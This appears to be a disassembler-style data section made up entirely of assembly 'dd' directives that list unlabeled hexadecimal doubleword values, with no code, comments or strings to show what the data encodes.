		dd 6C5504h, 49414D97h, 3D9F52F4h, 4AE6BBC2h, 68A9E08Ch
		dd 2E98253Ch, 46D6EF54h, 256C0218h, 0D78F7A84h,	0DE10E7D3h
		dd 0C995137Bh, 0E09BBB07h, 70B693h, 0D1555E79h,	169A30E6h
		dd 303276B7h, 16CA4A4Bh, 0E6CFB400h, 22A8A756h,	0AC9F58ADh
		dd 929B0C09h, 0F973D502h, 5227D37Fh, 0AC19FD6h,	0A5246E62h
		dd 4F8402CBh, 8A0F965Bh, 1E2D66F7h, 9F5038AAh, 8410A7D8h
		dd 7F007CF3h, 920A2C9Fh, 15F8DFFCh, 9194E22Bh, 0C001818Bh
		dd 6A4A2E7Bh, 7DAE075h,	655FBF8Bh, 24589A08h, 70EF5375h
		dd 0DD0E7464h, 6454E783h, 8AB06CCCh, 0FCBB4821h, 297C73Bh
		dd 101AAA0Ah, 89A2D782h, 800F7448h, 2555F1BFh, 20965B7Dh
		dd 3CFCA921h, 9F7ECF00h, 0B50FFF15h, 23C004EDh,	0AA85A177h
		dd 1AC8D1DAh, 78EC9BC0h, 21B2027Ch, 14F380E8h, 2D734CD5h
		dd 9853FE8Bh, 0D4181A59h, 9FC1965Eh, 0FC8BE3A9h, 0BE5180E0h
		dd 135F7CA5h, 0E253FC19h, 25D2925h, 0FF61F8B9h,	0B75E90CCh
		dd 16151FFBh, 96FDB8FAh, 8B2729BBh, 515BD8D2h, 430F7464h
		dd 0E056AAAFh, 5F6660DBh, 0ECE91676h, 35E3D3F3h, 74F9695Bh
		dd 0D92DDE23h, 34708016h, 8D638F66h, 2E0137F6h,	60DFF435h
		dd 0B37F944Eh, 3C014EDEh, 0CCD2E381h, 550F202Eh, 0AA090652h
		dd 0DF266FF7h, 576A2E31h, 185D4990h, 1D76EAA9h,	47D5962Fh
		dd 1B9E3B5Bh, 13D44E00h, 3DF67F21h, 0D3B2EB61h,	0E66AE841h
		dd 0A346F081h, 54140993h, 0F54619Eh, 0DD043909h, 0B95AC44h
		dd 0CF70EDE8h, 0EAD7E1CBh, 3DBC02F6h, 5037DE23h, 0A0A8DD8Ah
		dd 0FBAF6AF9h, 0E36C1E40h, 9F0994Eh, 636B2D49h,	0BB5613BAh
		dd 0E4B5F55Ah, 0E8BB2600h, 257A4EEEh, 0B6665351h, 0CD5BE492h
		dd 0E70931FCh, 750962FBh, 5E44A551h, 188A0B4Ah,	5002911Fh
		dd 294512C4h, 99905F07h, 181E6757h, 0EFBA0C5Bh,	5682D05h
		dd 0C89B9061h, 0D63052C0h, 0E8006448h, 0D3F28EB1h, 2C37A3BFh
		dd 0C14B287Ch, 3CB99D8Bh, 0A89A4A18h, 5B41DD10h, 502615B1h
		dd 0CD5292F0h, 123D9B0Bh, 443C5696h, 2AC910Dh, 0E9D3A62h
		dd 2A3E6A7Ah, 6612B186h, 781ED3B9h, 0C0D2CD2Dh,	7EDF5284h
		dd 0FDBD3109h, 24B2DD19h, 0F552D5h, 7DC27607h, 0AA2A486Ch
		dd 0C0D9434Ah, 4169EF7Ch, 5010455Fh, 8E3E319Bh,	89B29B72h
		dd 2901AC9Ch, 2F162595h, 60099FE7h, 1D71890Fh, 0FF098389h
		dd 6160C398h, 0FF5F6AE2h, 0DD00816Eh, 518213DFh, 65B0264Bh
		dd 12ED715Bh, 42B0D9ECh, 37A7D34Eh, 330B1622h, 0FE1D75BDh
		dd 3C609F94h, 1412ABCEh, 1A80C0ECh, 0D7772937h,	0AF017E72h
		dd 8C83941Eh, 652022C5h, 61582FD6h, 2E92BFCh, 0FF15C16Bh
		dd 3CBFB390h, 0DDD2F44Ah, 99995FD3h, 0DB262B18h, 0FDDA4F54h
		dd 8512938Dh, 0BD7521FDh, 0FF33FD85h, 20EF9B25h, 9FA151F3h
		dd 7D841E25h, 7E5EAFB2h, 0FF5BDF32h, 874136C2h,	1C840411h
		dd 20BFD9C4h, 15B5292Dh, 2988A9Ah, 26B1BD10h, 45EA811Dh
		dd 91073B90h, 0C04E49F0h, 3EE0F44h, 0FF69B7B6h,	0FABF8023h
		dd 4AEB0C48h, 8811C688h, 89BC8D09h, 0CE9177A5h,	3A18C995h
		dd 0EC3B279Dh, 0A2BB8F6Fh, 7567FA91h, 34F2D14h,	0EC4BA3A2h
		dd 0EC59A3ABh, 50600524h, 5B719157h, 0BB612B5Fh, 100B618h
		dd 4468195h, 0E430A510h, 0F8A887BDh, 0D4A8390Eh, 30FE3760h
		dd 95BE66FEh, 0F7B843E1h, 24CFB999h, 4A9D5151h,	0B98E5700h
		dd 834C9B93h, 84B8EDE3h, 0C2EC63ADh, 0F358C502h, 0D54F285Ch
		dd 410DF5D3h, 0F9DDCD29h, 0AEDD252Bh, 0E5ECFBE2h, 0E93FB60Ah
		dd 0A4001B0Bh, 76CC2D5Bh, 5F80669h, 9251278Ch, 0BF067120h
		dd 0BD5F73C2h, 0D465807Ah, 681DFD5Bh, 8BC62109h, 0AD0282D9h
		dd 0B5375523h, 0AD801B91h, 0A44EB018h, 0F586F913h, 229E2904h
		dd 0FCF02B8h, 2B798DB7h, 2304092Eh, 0FF19D9BDh,	30F755F6h
		dd 9BB23EE0h, 4142C80Eh, 5789EB0Dh, 3F604449h, 0B9055635h
		dd 1DC8105Dh, 0FC164B59h, 5F41F204h, 6263FDCFh,	3E2C2CEEh
		dd 6C933B59h, 0C5B904F8h, 9224BD08h, 84F764FBh,	0FE609501h
		dd 0DFBF53C1h, 0BB3D282Eh, 0DBAB8ED3h, 3CB89376h, 1226CA4Ah
		dd 7AEE03ABh, 0FADA0003h, 7E6DAAF4h, 80A325ADh,	441117C5h
		dd 0DC8A6009h, 50B5EC58h, 0F5B224DCh, 94DD699Dh, 0EEDC4F6Eh
		dd 0F0BD81Dh, 876CFD87h, 844EC4BFh, 18511F5h, 4CDF2535h
		dd 81749862h, 322BF8AEh, 0CC4129D7h, 56500031h,	5F573851h
		dd 8ADE5BAFh, 33D531F6h, 3B8D893Ah, 526837D0h, 0FA033732h
		dd 0BF58398Ch, 1BD1AD09h, 4088F606h, 0BD27789Dh, 437B582Ch
		dd 7785292Fh, 0B7D00B45h, 0BA98950Bh, 0E23E8160h, 5CED0971h
		dd 11FD7C57h, 0E9610B29h, 0FC64A4E1h, 0EBD69FACh, 7BA1F952h
		dd 81A6DE7Fh, 8A0F9836h, 0C94BAC7Fh, 0F54F5F26h, 402DAE42h
		dd 1998D41Eh, 0D695FDA3h, 0AAE92B0Dh, 89BBC7D8h, 1B371D1Dh
		dd 0FFDB0612h, 8A5C7580h, 0CE00BF71h, 8115C8A0h, 7077BBD7h
		dd 30FC9523h, 89DF9EE0h, 2BCDBD46h, 127955E9h, 14E449h
		dd 975F9F68h, 7555DA71h, 0CD665200h, 0CB314EE7h, 0AAF19717h
		dd 57673380h, 5F319E0h,	362714Fh, 0E902FB8Dh, 0F796F494h
		dd 82070C37h, 0A31B9D0Bh, 9371BBE6h, 60BF8433h,	10319D49h
		dd 93B6880h, 50AE3691h,	5711E384h, 576488h, 0B9399B49h
		dd 3CDCFD68h, 5B7C2F1Ch, 0C482A964h, 0DB51E872h, 6B2F7106h
		dd 0BAD3C3B8h, 0FEAC88h, 50B7B390h, 0B85CC8BFh,	0C3A9734Ah
		dd 15E2E8BCh, 0CFAD9200h, 8C9BB6B9h, 0A9DE5E8Bh, 0A5CAD70h
		dd 0BF8B0030h, 0FD0BF54Dh, 4A58ECCDh, 346D1082h, 0D0376127h
		dd 9A7E5000h, 19E6B835h, 32F120F9h, 3AE8C695h, 31DC830Fh
		dd 0A7CE6525h, 0D9B73DF8h, 2731E67Fh, 771A62BFh, 0C02D0F3Dh
		dd 622B95Fh, 299503C9h,	61B0F730h, 0F997C1F0h, 3527DD17h
		dd 0A7340000h, 8D016126h, 7F2D2527h, 65810937h,	8871557Eh
		dd 123EF1DCh, 0BCF899D1h, 0D5CD80B2h, 679BDFh, 86D45A8Fh
		dd 0A2CE597Ah, 35A93209h, 75B78215h, 3079D726h,	5E27D0C8h
		dd 8704F4C3h, 0DC8D5C46h, 0E28E921Fh, 171200FEh, 792A61FDh
		dd 0C0EC21A3h, 27718A66h, 387542B3h, 975E7FD3h,	0BD9B6CEEh
		dd 3EDC3B58h, 9302A602h, 41A2F767h, 1F298340h, 6D592082h
		dd 0FE5D88h, 1E5A79D3h,	0F99529D9h, 0FEE22C4Bh,	0A06AE6D3h
		dd 2FD267Bh, 8962973Ah,	0C05049BDh, 0B5CB3A95h,	0F4B83B8h
		dd 1531018Bh, 31355EF8h, 0BF1FC004h, 8B95042Ch,	0D3904CDh
		dd 0B877B2BEh, 6DDC005Ch, 63A8FE90h, 0E4AFAB4h,	2B31D1CDh
		dd 145AB53Bh, 0A8DEAAA1h, 0D6806BC0h, 71126A58h, 6F04C637h
		dd 0D3AC12E5h, 0A815A9B4h
		dd 0B4060954h, 444877Fh, 0D3C2240Ch, 952A2ADDh,	0CADCD78Bh
		dd 0AA0800F6h, 31573BB9h, 0EABF3DB5h, 0CB155F52h, 25F42B41h
		dd 1729F2E8h, 0BBEDD2A4h, 11ADA671h, 4602C213h,	0F17CC8F3h
		dd 1EE1566Dh, 72D38057h, 5B5576D5h, 4DDF3B7h, 0AF106995h
		dd 602E49B6h, 60F118DCh, 6EB1233Dh, 0AD0909A4h,	1195B07h
		dd 0DE310BF7h, 0C426793Eh, 500222C5h, 564AC2B3h, 0ECE0BE6Dh
		dd 2AE0B70h, 97202FF0h,	7357EF48h, 26250920h, 94A08114h
		dd 0BA95816Dh, 508E5B66h, 0F900B438h, 0BEFDC2F6h, 0B55C1114h
		dd 407BF810h, 5400DF79h, 0C6AB36A6h, 26CECEFh, 87E6AE29h
		dd 84564964h, 0EE145251h, 70EAAB12h, 0E389D462h, 7D15D502h
		dd 0F7507E55h, 29004266h, 0D48E7B43h, 0B24DAAh,	740FD888h
		dd 47C9B8DEh, 0B7BCF0B7h, 0EDE3386Dh, 9D29E953h, 0AB4A33C5h
		dd 0AF84C44Fh, 10514A7h, 642375BDh, 0EDBA8118h,	83BC2F12h
		dd 0C1C6DAA4h, 9459A0AFh, 0D25E676Ch, 6356618Bh, 0A8143351h
		dd 5734DA5Eh, 0C2C66349h, 85653777h, 4E6F37Ah, 0BF068185h
		dd 0F1363CFh, 0FCE22088h, 0D8BF50E9h, 7A0893EFh, 0A4BF5BFFh
		dd 15F10DFDh, 199720DBh, 97BAC697h, 26030DB5h, 0A9A25966h
		dd 0F83C551Bh, 0AA8531C4h, 0B97B78F1h, 3337A962h, 0CB9A4C01h
		dd 0FC3A5846h, 79241EFAh, 5717D890h, 9B3BF8E1h,	952780E7h
		dd 0C5AE358h, 9CB096C0h, 854A2948h, 250F1EEEh, 13CF37DFh
		dd 248A12D6h, 0E0820D34h, 0F375DAA2h, 94E51576h, 0A6B0854Ah
		dd 0DB7E015h, 0C25F0464h, 0BCDC1A8Ch, 0EF9F80E6h, 318CE6Fh
		dd 2156A81Bh, 1CC92DE4h, 90F37BF9h, 9435CE01h, 312A15F0h
		dd 447B3FFFh, 825B4617h, 3D77DFABh, 0D9F30BA8h,	988C1h
		dd 166D1BBFh, 9B6A608Dh, 4ACAC2C1h, 17EE5FD8h, 0CE255125h
		dd 95F9F80Ah, 0FDF8E999h, 0E0282BD1h, 44FB58Bh,	0D479C560h
		dd 0AC1C00BFh, 2C1A7CA0h, 8F880BE9h, 57D90083h,	2D4DE792h
		dd 150223FEh, 8D89026Ah, 908CA121h, 82E24B3h, 0C4AD14A4h
		dd 2A130050h, 776F243h,	0E3097B86h, 0DF0D068Fh,	29909500h
		dd 8694E18Dh, 643B4D27h, 9F936315h, 97B2CBD0h, 0E95112B8h
		dd 840DE3B0h, 0F90B50EAh, 30091576h, 0A5E67DC1h, 0B714C9Dh
		dd 90E301D3h, 0EC006F59h, 5677520Ch, 0C32C00C6h, 93325CBDh
		dd 0DD030B15h, 0E9933C0h, 5FEA26D4h, 0F46D2513h, 2E1905C0h
		dd 0B680967h, 96564FC6h, 8EAE4140h, 98B9091h, 990DAA14h
		dd 0F36A1F89h, 112A37DFh, 3FF78216h, 1DD860CBh,	61C9731h
		dd 0C96FAEADh, 55C0542Ch, 7A6D2E03h, 43E1B0FEh,	75592CF3h
		dd 2C310873h, 41B58903h, 0FF631C05h, 4DB2BCF9h,	717FF51Fh
		dd 0BD036164h, 85214061h, 0B08133C1h, 40652C64h, 705EE62Fh
		dd 50974E8h, 46D571E4h,	43E31DBBh, 0B45D1201h, 1084EAC0h
		dd 0D4154D85h, 0A97AC0B9h, 295160Dh, 53361E41h,	18558B20h
		dd 4E29BB8Bh, 8117C0D1h, 634A15DBh, 0BD23D4C0h,	0C92D4A39h
		dd 86E16FD2h, 2476B9F8h, 18DBC82Bh, 0D18BDB05h,	2E4910C4h
		dd 0CC9AE905h, 0DE8A01F1h, 644C1C57h, 0F67C2761h, 2B07C084h
		dd 129B35A8h, 7AB5D825h, 0B738952Ah, 7FA86BE9h,	818003F5h
		dd 3E7809E7h, 0B7590B3Bh, 0B2ABF992h, 60570971h, 39197F61h
		dd 9E811445h, 292B2FF5h, 0F4B22AB7h, 0C699FB0Bh, 74E4CE7Fh
		dd 684C0124h, 53BA44B6h, 4165685Fh, 0E027DB76h,	0EADA7C2Eh
		dd 2D711F30h, 0E74204F9h, 1AC10AC4h, 0ECF09769h, 6B40FE95h
		dd 0DF80D5D3h, 5DFCD87Fh, 83D1504Ah, 14DD2577h,	493A4D77h
		dd 0EB00ABD3h, 875C60DDh, 88134E4Ah, 7A009002h,	78A3A503h
		dd 1E02CFDh, 9161F2E4h,	4007E9B1h, 176346Bh, 0DABA5006h
		dd 9941DFB9h, 0CEE980DAh, 0A121DD32h, 0E5F80F5Ah, 0AC3FED45h
		dd 0F39B5A8Ah, 57B6CD80h, 5B96FC69h, 2BFB3040h,	8D250007h
		dd 0FD953A8Bh, 3502FEE7h, 39CF2DC4h, 3D485C85h,	0FA0F574Eh
		dd 202556Fh, 14DF0888h,	1B5621E2h, 4700E845h, 33235CDCh
		dd 78860EF2h, 6206EC6h,	0D3676FBEh, 0E4249030h,	0AA15FD9Dh
		dd 7A395688h, 585883F8h, 0ADD83989h, 60384F88h,	21545D8Eh
		dd 4E3A7A1Ch, 0D2C81A52h, 919901ACh, 0F3425219h, 13F92ACEh
		dd 0C2E11BA8h, 2C80910h, 1E7039F0h, 0BF8B1917h,	0BDC24455h
		dd 1CB851DCh, 689DF965h, 3EE8EB80h, 27915C0Ah, 0F5F60266h
		dd 3D071EC8h, 33E0E4D7h, 7D0E447Ah, 0A6940599h,	0FBED61F6h
		dd 0CBFE2ED5h, 1EBB826Dh, 0DCE85688h, 9265F6BDh, 90FE1D60h
		dd 0D8A14F20h, 38202C2Bh, 0F988408Ah, 4EDCB501h, 75BFFEC5h
		dd 0A0A9E61Ah, 7FFFFC37h, 0CEEF04E1h, 0AB2646DBh, 282A5469h
		dd 1AD274F9h, 0BABC47EDh, 55092B7Fh, 0C059A29Fh, 822FE92Dh
		dd 65A8597Fh, 0ECABE906h, 91AA05D0h, 92098D29h,	19F36030h
		dd 1760B670h, 0E2C9A0FFh, 0BA2B023Ah, 5C954E63h, 55CE324Ch
		dd 0BF3D5829h, 96090837h, 0BD4F7207h, 0D3BD5858h, 0F09B7834h
		dd 1664F248h, 9FDD84Eh,	9610DAD3h, 0EEB57CE8h, 0B717FDB3h
		dd 1AC3F0D8h, 0CE235389h, 3CD48800h, 7DDD9667h,	62AE2D01h
		dd 0B8B7FC2Ah, 25917760h, 0E2A1B684h, 41F2CF81h, 205702A1h
		dd 1640518Bh, 0EE6A4A5Bh, 3E02C66Eh, 12A590FAh,	707ED02h
		dd 0DCE0E068h, 6609529Ah, 5ACF91BFh, 23AF0D0Ah,	3A306542h
		dd 0D70910E3h, 0BA5128CDh, 9F2A66A7h, 4F2F3579h, 0FE09C0D1h
		dd 0E917A9E7h, 252101DCh, 0CB2A17B1h, 9FDA4A47h, 0BBC74F84h
		dd 1294708h, 3E549ABBh,	0CD172E66h, 4507D77Bh, 44BD2B29h
		dd 0F3DDBE17h, 0DA12B42Ch, 519AFE5Fh, 4C301689h, 4F139F98h
		dd 0FC9B0689h, 0D6D79F82h, 298904D1h, 3E427F95h, 52357377h
		dd 82006A7Bh, 72E90ED4h, 9CAF3985h, 0C959AC5Bh,	62645456h
		dd 0EFC296DCh, 9DC858DFh, 0A901CEB7h, 50BB654Ah, 0CB75DE2Ah
		dd 94682F0h, 75BA5516h,	1B7BEA98h, 6300ED7Bh, 1F3AB5CAh
		dd 1951E0h, 0E842992h, 68C3F4D9h, 6721400Ah, 493DFB87h
		dd 0E2BF05ADh, 20FB78B7h, 21991C54h, 592B0500h,	8073EABDh
		dd 0CC9D090Eh, 0AF714AC6h, 0FD1592A7h, 0FEB77378h, 0AFB8C4DBh
		dd 0E76FA656h, 632F097Fh, 0E5714EEDh, 35F5081h,	5FCEB5BDh
		dd 0AFA54AD3h, 6FDE40B1h, 5D7F907h, 43A69B40h, 0B880AD61h
		dd 0B3401C7Fh, 0FE6C97EFh, 6A3A2F3Dh, 198000BFh, 68A80D53h
		dd 0F4BA2902h, 40349CEAh, 32BCD0CAh, 0FB3A7333h, 2125020Ch
		dd 0D7299B59h, 8C543FC2h, 0CFC22F51h, 0C1856157h, 8E082A3Fh
		dd 0E9F50B01h, 120BC4D5h, 0E3E0EBD7h, 6A5ABAC2h, 6D4700EDh
		dd 58973099h, 6E282DF5h, 164F71D0h, 0B600777Ah,	0A2A10AD5h
		dd 2E008F7Bh, 0DB81073Dh, 4B616F58h, 12AF8A67h,	7AAB0422h
		dd 0D8AE4B88h, 0FB488BD0h, 3EF0B316h, 2C0BBF57h, 0A7E26585h
		dd 0D18A7B5Fh, 9A093E80h, 71655F15h, 53CD5725h,	89AB89E5h
		dd 9EE07E1Ch, 9DDEBD23h, 13F39E55h, 4B63FF63h, 0FF230E09h
		dd 5900FD44h, 0FE899934h, 8E22ADB8h, 26ECB004h,	0ADF1B03Ch
		dd 0CCB75Dh, 91082AB6h,	8A2DDE9Ah, 556CF4FAh, 0A0CDFB2Dh
		dd 84214A99h, 836BAA8Dh, 8A021523h, 55DAB720h, 0C2197BB9h
		dd 27CCB714h, 8A0F5316h, 5FCB10F8h, 46D6AFFCh, 1D047D19h
		dd 0DCCB2C9h, 0FC2D51B8h, 8607C9E4h, 0A0603195h, 94803920h
		dd 0F90A0B9Dh, 88FC6CFCh, 0A5B3F62Dh, 17546662h, 2FAFE6DCh
		dd 9ADFB6DCh, 71DE57B9h, 16618541h, 94F8E92Fh, 8464C136h
		dd 2CBDCD5Bh, 134A3C16h
		dd 7452BB72h, 23A56BFAh, 6AD5001Ah, 11EB700Ch, 0B117695Fh
		dd 738B52DEh, 0FE2F4CA4h, 0A0C0E9F3h, 0DB4BD4D5h, 19F5AB00h
		dd 0D2CC493Eh, 0B76412E5h, 806FAC10h, 3E922C07h, 6EE4000Ch
		dd 0A353C7DCh, 0C80B7E0Eh, 0DDE959AFh, 32E28CEEh, 89E2D58Ah
		dd 0BDCDC189h, 0B46EACC0h, 90520687h, 6014C88Dh, 6EAC10FAh
		dd 780918C9h, 0F6BA9500h, 9842CEEDh, 0F6D9577Eh, 0A0E4E9h
		dd 91F2B45Bh, 7B67DBCh,	0BFDC4600h, 0AE22DB54h,	8D682529h
		dd 0BB0FAB78h, 86B00B7Bh, 0C12310Fh, 0E85CBF66h, 3E12B310h
		dd 0B6BC585Ah, 28EDD098h, 27689697h, 2AFEA4BAh,	0F0A884C5h
		dd 0B7851790h, 0B86BBE18h, 0F4001C23h, 895C6220h, 4F907E5Bh
		dd 976DEE8Fh, 80BE9A6Fh, 0D2689803h, 0F90E00E9h, 0D7ADE381h
		dd 1A977B42h, 0CBCC60DDh, 57A60B35h, 465D890Fh,	0B7C64BEBh
		dd 0E0E4A068h, 98F02ECh, 3717FC8Ah, 8D79C07Dh, 756CBF02h
		dd 0B5D6D700h, 0C5E9FBFEh, 965700FDh, 0A3CF97CDh, 0E30179EAh
		dd 299F4505h, 84244D9Dh, 0CB614B58h, 9FF8240Eh,	975B5025h
		dd 89C16AE8h, 1D4DB516h, 5BD46FFBh, 3B125760h, 5F1602F7h
		dd 5150F484h, 0B9818DC0h, 5392259Eh, 6317C8h, 993E69D4h
		dd 1D424CA3h, 61CAC702h, 0DB6A5B79h, 1CD78FDh, 0E83BFD00h
		dd 672337BBh, 0D59942Dh, 7B54C2F8h, 5F4968CCh, 2A6BCDC1h
		dd 95FD33EFh, 80600298h, 13A0D627h, 0C34A5F0Eh,	48D61A8h
		dd 0FE60989Ch, 828408DEh, 56DEB8DDh, 27C6F069h,	5526B02Bh
		dd 8725EE36h, 0E8F4BD2Ah, 6004BC20h, 56284D98h,	93B6A100h
		dd 5F83D559h, 6FD903ABh, 4ADB3C08h, 1A906AAEh, 0C462A37h
		dd 0C4324C50h, 8C1A9762h, 0CE167666h, 62ACC867h, 1B75FED3h
		dd 0BD807ADAh, 6B90E018h, 0FC66A300h, 0E1FE9ABBh, 0EAFF5E37h
		dd 0FD39D720h, 0D620023h, 801F1A61h, 9D4B937Ah,	7322D08Ah
		dd 0AB19BB01h, 26A0C15h, 0E8B8F62Dh, 0A99DAD00h, 8713F2CEh
		dd 15FCB5CBh, 8BDB58h, 4CB56CB8h, 7817E7CCh, 4E26D4B5h
		dd 29623092h, 682D94ADh, 0C3C27C4Eh, 31F07950h,	592E7ACh
		dd 1CEAF7A3h, 8BE1D55Ch, 496AF59Dh, 0B871EB67h,	860A2C2h
		dd 572D3CF1h, 821EA337h, 74696D0Ch, 601440F1h, 5F870F25h
		dd 263E1865h, 0DAC2BD8Fh, 59737F61h, 2F9AF6F8h,	0CE74BD29h
		dd 0F5E8908Dh, 0FFF9DDC2h, 10548600h, 25C8C08Ch, 91E15B71h
		dd 62CD1508h, 0B290DDD4h, 9589120Eh, 2BD2B10Dh,	2EADF5E9h
		dd 0C8148961h, 29D9622Eh, 9F0FD2DFh, 8D79CF81h,	9BB87F5Fh
		dd 13219DC2h, 0C1535E12h, 691161B5h, 5B8CE8F4h,	1161EED0h
		dd 882F012Ah, 6FE1B08Dh, 0BB92A8ACh, 0AD06C808h, 57C0927Fh
		dd 19E4B9D0h, 5102678Ch, 0B37059B3h, 21BD031Ch,	0C403FC2Fh
		dd 42ADBB29h, 0BE4B6A4Ch, 20BFAC20h, 443A029Ch,	30A58529h
		dd 534011D5h, 7CA8202Bh, 4400E1EDh, 0D6B7FAEFh,	2C64AAD5h
		dd 29674542h, 659C80B6h, 7ACC519Dh, 0F49A0700h,	0D7A3AA0Ah
		dd 4CCF09FAh, 0DD70BFCEh, 1635BB3Ah, 3FB6E3Ah, 10A59D40h
		dd 23D1A502h, 0A72D41BDh, 94088D9Dh, 811D6B86h,	8BD6C4E7h
		dd 0DE1B81Fh, 0EE494755h, 896A07F9h, 0FC2A8358h, 4A699BD4h
		dd 10CAFA42h, 5DBD3105h, 0BA1B162Bh, 0EBE53DD4h, 0D2818842h
		dd 49444C9Fh, 1EF753A0h, 0B9ADEC00h, 166131C4h,	75EE2411h
		dd 0E3E11234h, 0FD4C62FFh, 6E31D51Fh, 0B987151Ah, 624FF161h
		dd 0D8B1DC2Ah, 76829F90h, 0C6C2CF56h, 0C4DF0BD3h, 0ED6A5E1Fh
		dd 0AD6BBD5Fh, 6BFA96A4h, 68655E4Ch, 606E88EAh,	528D0125h
		dd 0B9610E8Fh, 0AF160F1Eh, 3E2E2C30h, 61F03F0h,	925B631Dh
		dd 3E62E699h, 89C2F1ECh, 0BFDE45BDh, 5BFCE142h,	981B70FCh
		dd 2CC01002h, 55FC0CB5h, 5F0294B7h, 80E973DAh, 1859CC63h
		dd 0EEBA01BCh, 3E3F8488h, 85AE6217h, 0DDB3C02Bh, 9551B31Eh
		dd 1D0024D2h, 0F80B2A8Bh, 0D400F147h, 0D2BA1877h, 9139C53h
		dd 0D673A089h, 0BF42C173h, 0AA61D584h, 880D1169h, 0B711F73Ah
		dd 0AF091A10h, 636B05D0h, 0A0027F49h, 0DCB51F39h, 8159E97Eh
		dd 0BDBB6682h, 566D5C17h, 26DC15BEh, 60A6C2D2h,	1BCCA0DCh
		dd 7C2E6C30h, 1E813EF6h, 0D24BA7D3h, 8970E216h,	60A06F5Eh
		dd 31321AC2h, 81C98700h, 2B9B17CBh, 9110973Eh, 0E71215BFh
		dd 94E3111Dh, 0D9D0904h, 0FAB2AF18h, 81CE9A5Fh,	3401722Dh
		dd 796282Eh, 0DD970570h, 0CF026037h, 0DC1E6734h, 0ECD5C9B4h
		dd 0B1B50367h, 0DF749EF1h, 2F7011E9h, 0D71C83BDh, 405E1CCCh
		dd 50218AACh, 14975B1Ah, 4CE38DDh, 0BC1CF95Fh, 33F65C76h
		dd 34D1CA4Ah, 0E6BB586Ch, 0F471E1DBh, 0FEEBF02Eh, 0F165DABFh
		dd 1E60F1DDh, 61044009h, 793485EEh, 0AFAC0F2Eh,	0D14ACD59h
		dd 0C2018695h, 717C5355h, 0E86CE0D9h, 8763A900h, 50F4191Bh
		dd 0A4F395F5h, 0F5132912h, 0FAA5DBFCh, 9D90558Ch, 63C99D18h
		dd 8647670Fh, 94C573BBh, 7A3FB8Ch, 20908F9Dh, 0F0B5F02Eh
		dd 0D61D160Ch, 756FB326h, 71DB5100h, 90817A9Dh,	853F7ADh
		dd 3F9BDDD0h, 2300656Dh, 0A0F0BBDBh, 0D1950B67h, 941849DBh
		dd 4A005561h, 0FAB7FE59h, 1E5A7BAFh, 0C71F8468h, 0C49EF21Bh
		dd 4303BF9Ah, 31739BBh,	249DB8E8h, 0C84C36C9h, 0C4E2C0EAh
		dd 504FD60h, 3ADBCCE0h,	0B9DA01C5h, 0AD022A90h,	0E529F5E8h
		dd 92000E51h, 6A03F11Ch, 0AA1F4A8Ah, 878BD963h,	277E835Ch
		dd 0BFC6152h, 0C222204Fh, 0A15814F0h, 52E239D6h, 0C674B557h
		dd 0D6E55E25h, 0D2011946h, 1AFE7278h, 0B5668886h, 8C0F0901h
		dd 80C1EEFEh, 0B67FD1DFh, 0E91C7BC7h, 0D725023Fh, 0CD07CEB7h
		dd 611E1FBFh, 0F0B75BB1h, 0AE0F172Fh, 0EA97F4DEh, 9BFEADCh
		dd 794FF8D6h, 818F1079h, 6AF222F3h, 23F35C37h, 0F7AED03Bh
		dd 847A133Eh, 83B8483Ah, 0A523F6FEh, 320BB5E6h,	0FB64405Fh
		dd 0D1FBD00h, 169AD9BCh, 1E837604h, 419C61F7h, 89A42B3Ah
		dd 0E8DB2F06h, 2D029E89h, 205E23B5h, 1D9F9E9h, 118CEFE6h
		dd 0ABC9C404h, 95E75897h, 2D07FA8Bh, 82F70B64h,	42EAF425h
		dd 751E20A8h, 321C65h, 210EFC53h, 5FD20C6Ch, 0F08E9656h
		dd 977AA0BAh, 0B777F012h, 0A24A80DEh, 0F19D0BD6h, 8128A0B5h
		dd 9945C0CFh, 4006C430h, 0B5DD5EF1h, 0F9B25BB3h, 94004887h
		dd 70E1788Dh, 578A0DE5h, 0C6B5EF64h, 0F9F8485Ch, 1CF2ECD3h
		dd 58575B03h, 0E980EDDBh, 25A4AA95h, 0C0438C4Ch, 0DCF3D89Ch
		dd 33D200DAh, 16CA493h,	0EA25B76Eh, 1351E625h, 4211BD2Bh
		dd 8F0F9029h, 80545355h, 0F6012497h, 340054DAh,	35E52DAAh
		dd 0E915F9h, 506D30AFh,	0D4A92FBFh, 0FA900127h,	0A9454F25h
		dd 0D7EC8Ch, 40F21D0Fh,	5B72EFECh, 45CBF495h, 0BAE6BF61h
		dd 0F0AEF7E1h, 5B58F552h, 10DB4CE4h, 0A35B1CE9h, 1DE14CDFh
		dd 7F25D4D5h, 102E973Dh, 0B7E4FDCBh, 0F5B5892Dh, 0F7810900h
		dd 402515EAh, 1943C535h, 0D6B3450Dh, 49A797Fh, 3B32F5B5h
		dd 0B13BBB4h, 0BAE0C7F6h, 35054D7Fh, 96BC9451h,	91EF2FEh
		dd 799AF780h, 0EFDF4411h, 0BEA0BBA7h, 0D190124Fh, 0CB16A1A2h
		dd 151B067h, 54338DD2h,	5CCC5811h, 91F13597h, 6CE89214h
		dd 5BFB8B0Eh, 6371FE6Bh, 206B6F00h, 4BCA5673h, 0BB378C2Ah
		dd 3E02C009h, 0EB815C0Fh, 0C4401C6Dh, 9C18CBFh,	4BEAE540h
		dd 0C69F9AEh, 0C0CC8493h, 0A744A4A1h, 0CF8A6F4Bh, 0AD3BE0A0h
		dd 16FB9E5Ah, 0D770EF62h, 9D323DEFh, 0EFEDDF4h,	0B9EE6D5Ah
		dd 40DABBF6h, 0C1D3198Ah
		dd 0D02F6977h, 0E5BE3316h, 9802A640h, 450A0091h, 2ACC21EEh
		dd 714FCE26h, 8D8BFEEDh, 0F8536955h, 930F62Bh, 0FD17A1BDh
		dd 99C0FA95h, 265C4ADh,	0D26EE275h, 2846577Fh, 0E484CF01h
		dd 0AA295026h, 4AB50C20h, 0D63EFC69h, 6D6B72EFh, 508926F6h
		dd 1D860520h, 0A63FADB1h, 4C1AB2B9h, 0A1D69503h, 0B759BF60h
		dd 94574B2Bh, 359EBAF5h, 0E0A2FF92h, 789D6209h,	0F3E3D701h
		dd 0BD6D296Ah, 0CAEEDC4h, 61828322h, 56736050h,	5E5FDD09h
		dd 53B55F14h, 0BB811791h, 78074315h, 289A5FA6h,	5AC514C8h
		dd 0DF38DCAAh, 4412ED90h, 8EE4962Ah, 7AF5412Fh,	0B34B58F3h
		dd 0E4F14F85h, 20C92A4h, 456ECB81h, 0F88473F7h,	0D217D5CEh
		dd 82BB3374h, 295EF80Dh, 50CD7BE9h, 949714B9h, 290C4429h
